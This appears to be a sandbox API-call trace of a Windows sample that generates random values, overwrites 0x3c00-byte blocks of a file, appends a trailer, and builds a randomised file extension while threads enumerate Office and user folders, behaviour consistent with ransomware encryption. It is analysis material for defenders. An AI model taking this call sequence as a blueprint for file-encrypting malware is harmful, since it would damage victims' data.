0x76c2a33b [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0xb144e9d [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x3077bf8a [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x27268b8 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x503bb3a [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x57fc2f9b [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x47194619 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x63bf5d5a [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x575eb030 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x7b115def [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x4cb0534f [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x7d8ff01 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x4c1db6e2 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x592c3cb1 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x10d3e09a [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x3786fa8e [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x4148b520 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x52126e06 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x62e25242 [0112.266] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x6dc9cbf5 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x1834c244 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x6411a195 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x6235f531 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x58c764e4 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x3729c2a2 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x6b3fadb1 [0112.267] RtlRandomEx (in: Seed=0x3516f670 | out: Seed=0x3516f670) returned 0x2a482839 [0112.276] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.276] ReadFile (in: hFile=0x15a8, lpBuffer=0x41e39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3516f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41e39560*, lpNumberOfBytesRead=0x3516f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.279] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0112.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261730) returned 1 [0112.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e3d170 [0112.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261730 [0112.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0112.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0112.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.280] WriteFile (in: hFile=0x15a8, lpBuffer=0x41e3d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3516f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41e3d170*, lpNumberOfBytesWritten=0x3516f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e3d170) returned 1 [0147.730] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.730] ReadFile (in: hFile=0x15a8, lpBuffer=0x41e39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3516f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41e39560*, lpNumberOfBytesRead=0x3516f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.967] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0147.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0147.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef9560 [0147.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0147.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0147.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0147.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.969] WriteFile (in: hFile=0x15a8, lpBuffer=0x41ef9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3516f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41ef9560*, lpNumberOfBytesWritten=0x3516f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0170.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef9560) returned 1 [0170.843] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x5ea88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.843] ReadFile (in: hFile=0x15a8, lpBuffer=0x41e39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3516f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41e39560*, lpNumberOfBytesRead=0x3516f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0170.917] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x5ea88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0170.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0170.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41efd170 [0170.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0170.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0170.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0170.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.920] WriteFile (in: hFile=0x15a8, lpBuffer=0x41efd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3516f6e0, lpOverlapped=0x0 | out: lpBuffer=0x41efd170*, lpNumberOfBytesWritten=0x3516f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41efd170) returned 1 [0194.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf6e0 [0194.667] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.667] WriteFile (in: hFile=0x15a8, lpBuffer=0x134d60*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3516f790, lpOverlapped=0x0 | out: lpBuffer=0x134d60*, lpNumberOfBytesWritten=0x3516f790*=0x14c, lpOverlapped=0x0) returned 1 [0202.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0202.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0202.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202aa5c0 [0202.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaad0 [0202.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab0a0 [0202.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab0a0) returned 1 [0202.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5d8b0 [0202.998] sprintf (in: _Dest=0x1ce5d8b0, _Format="%c%c" | out: _Dest="06") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8b2, _Format="%c%c" | out: _Dest="1c") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8b4, _Format="%c%c" | out: _Dest="f0") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8b6, _Format="%c%c" | out: _Dest="1f") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8b8, _Format="%c%c" | out: _Dest="c1") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8ba, _Format="%c%c" | out: _Dest="19") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8bc, _Format="%c%c" | out: _Dest="69") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8be, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8c0, _Format="%c%c" | out: _Dest="82") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8c2, _Format="%c%c" | out: _Dest="1e") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8c4, _Format="%c%c" | out: _Dest="37") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8c6, _Format="%c%c" | out: _Dest="45") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8c8, _Format="%c%c" | out: _Dest="f7") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8ca, _Format="%c%c" | out: _Dest="10") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8cc, _Format="%c%c" | out: _Dest="70") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8ce, _Format="%c%c" | out: _Dest="3d") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8d0, _Format="%c%c" | out: _Dest="1b") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8d2, _Format="%c%c" | out: _Dest="46") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8d4, _Format="%c%c" | out: _Dest="d0") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8d6, _Format="%c%c" | out: _Dest="1f") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8d8, _Format="%c%c" | out: _Dest="00") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8da, _Format="%c%c" | out: _Dest="9c") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8dc, _Format="%c%c" | out: _Dest="43") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8de, _Format="%c%c" | out: _Dest="0a") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8e0, _Format="%c%c" | out: _Dest="b7") returned 2 [0202.998] sprintf (in: _Dest=0x1ce5d8e2, _Format="%c%c" | out: _Dest="ae") returned 2 [0202.999] RtlInitAnsiString (in: DestinationString=0x3516f808, SourceString="061cf01fc11969c4821e3745f710703d1b46d01f009c430ab7ae" | out: DestinationString="061cf01fc11969c4821e3745f710703d1b46d01f009c430ab7ae") [0202.999] RtlAnsiStringToUnicodeString (in: DestinationString=0x3516f7d8, SourceString="061cf01fc11969c4821e3745f710703d1b46d01f009c430ab7ae", AllocateDestinationString=1 | out: DestinationString="061cf01fc11969c4821e3745f710703d1b46d01f009c430ab7ae") returned 0x0 [0202.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce5b230 [0202.999] wcscat (in: _Dest=0x431c4860, _Source="061cf01fc1196" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\061cf01fc1196") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\061cf01fc1196" [0202.999] wcscat (in: _Dest=0x431c4860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\061cf01fc1196.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\061cf01fc1196.2f9b60" [0202.999] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\061cf01fc1196.2f9b60", NtPathName=0x3516f7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\061cf01fc1196.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4311ac60 Thread: id = 1113 os_tid = 0xe2c [0112.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85bc70 [0112.278] wcscpy (in: _Dest=0x1b85bc70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0112.278] wcscat (in: _Dest=0x1b85bc70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0112.278] wcscat (in: _Dest=0x1b85bc70, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*" [0112.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264a70 [0112.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ceb0 [0112.282] wcscmp (_String1=".", _String2=".") returned 0 [0112.282] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.282] wcscmp (_String1="..", _String2=".") returned 1 [0112.282] wcscmp (_String1="..", _String2="..") returned 0 [0112.282] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0112.282] wcscmp (_String1="ANALYS32.XLL", _String2=".") returned 1 [0112.282] wcscmp (_String1="ANALYS32.XLL", _String2="..") returned 1 [0112.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205d050 [0112.283] wcscpy (in: _Dest=0x4205d050, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0112.283] wcscat (in: _Dest=0x4205d050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0112.283] wcscat (in: _Dest=0x4205d050, _Source="ANALYS32.XLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" [0126.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b8 [0126.879] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xe0c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="ATPVBA~1.XLA")) returned 1 [0126.879] wcscmp (_String1="ATPVBAEN.XLAM", _String2=".") returned 1 [0126.879] wcscmp (_String1="ATPVBAEN.XLAM", _String2="..") returned 1 [0126.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027a6f0 [0126.879] wcscpy (in: _Dest=0x2027a6f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0126.880] wcscat (in: _Dest=0x2027a6f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0126.880] wcscat (in: _Dest=0x2027a6f0, _Source="ATPVBAEN.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" [0126.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc4 [0126.881] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="FUNCRE~1.XLA")) returned 1 [0126.881] wcscmp (_String1="FUNCRES.XLAM", _String2=".") returned 1 [0126.881] wcscmp (_String1="FUNCRES.XLAM", _String2="..") returned 1 [0126.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x2027a650 [0126.881] wcscpy (in: _Dest=0x2027a650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0126.881] wcscat (in: _Dest=0x2027a650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0126.881] wcscat (in: _Dest=0x2027a650, _Source="FUNCRES.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" [0126.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc0 [0126.882] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 1 [0126.882] wcscmp (_String1="PROCDB.XLAM", _String2=".") returned 1 [0126.882] wcscmp (_String1="PROCDB.XLAM", _String2="..") returned 1 [0126.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027a5b0 [0126.882] wcscpy (in: _Dest=0x2027a5b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" [0126.883] wcscat (in: _Dest=0x2027a5b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0126.883] wcscat (in: _Dest=0x2027a5b0, _Source="PROCDB.XLAM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" [0126.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc [0126.884] FindNextFileW (in: hFindFile=0x1cd9ceb0, lpFindFileData=0x20264a70 | out: lpFindFileData=0x20264a70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 0 [0126.884] FindClose (in: hFindFile=0x1cd9ceb0 | out: hFindFile=0x1cd9ceb0) returned 1 [0126.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264a70) returned 1 [0126.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bc70) returned 1 [0126.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 Thread: id = 1114 os_tid = 0xd20 [0112.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9cdf0 [0112.283] wcscpy (in: _Dest=0x1cd9cdf0, _Source="C:\\Users\\Default\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0112.283] wcscat (in: _Dest=0x1cd9cdf0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0112.283] wcscat (in: _Dest=0x1cd9cdf0, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\*") returned="C:\\Users\\Default\\Documents\\My Videos\\*" [0112.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264ce0 [0112.284] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0112.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ce0) returned 1 [0112.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cdf0) returned 1 [0112.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 Thread: id = 1115 os_tid = 0x748 [0112.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9ca30 [0112.289] wcscpy (in: _Dest=0x1cd9ca30, _Source="C:\\Users\\Default\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0112.289] wcscat (in: _Dest=0x1cd9ca30, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0112.289] wcscat (in: _Dest=0x1cd9ca30, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*" [0112.289] RtlAllocateHeap 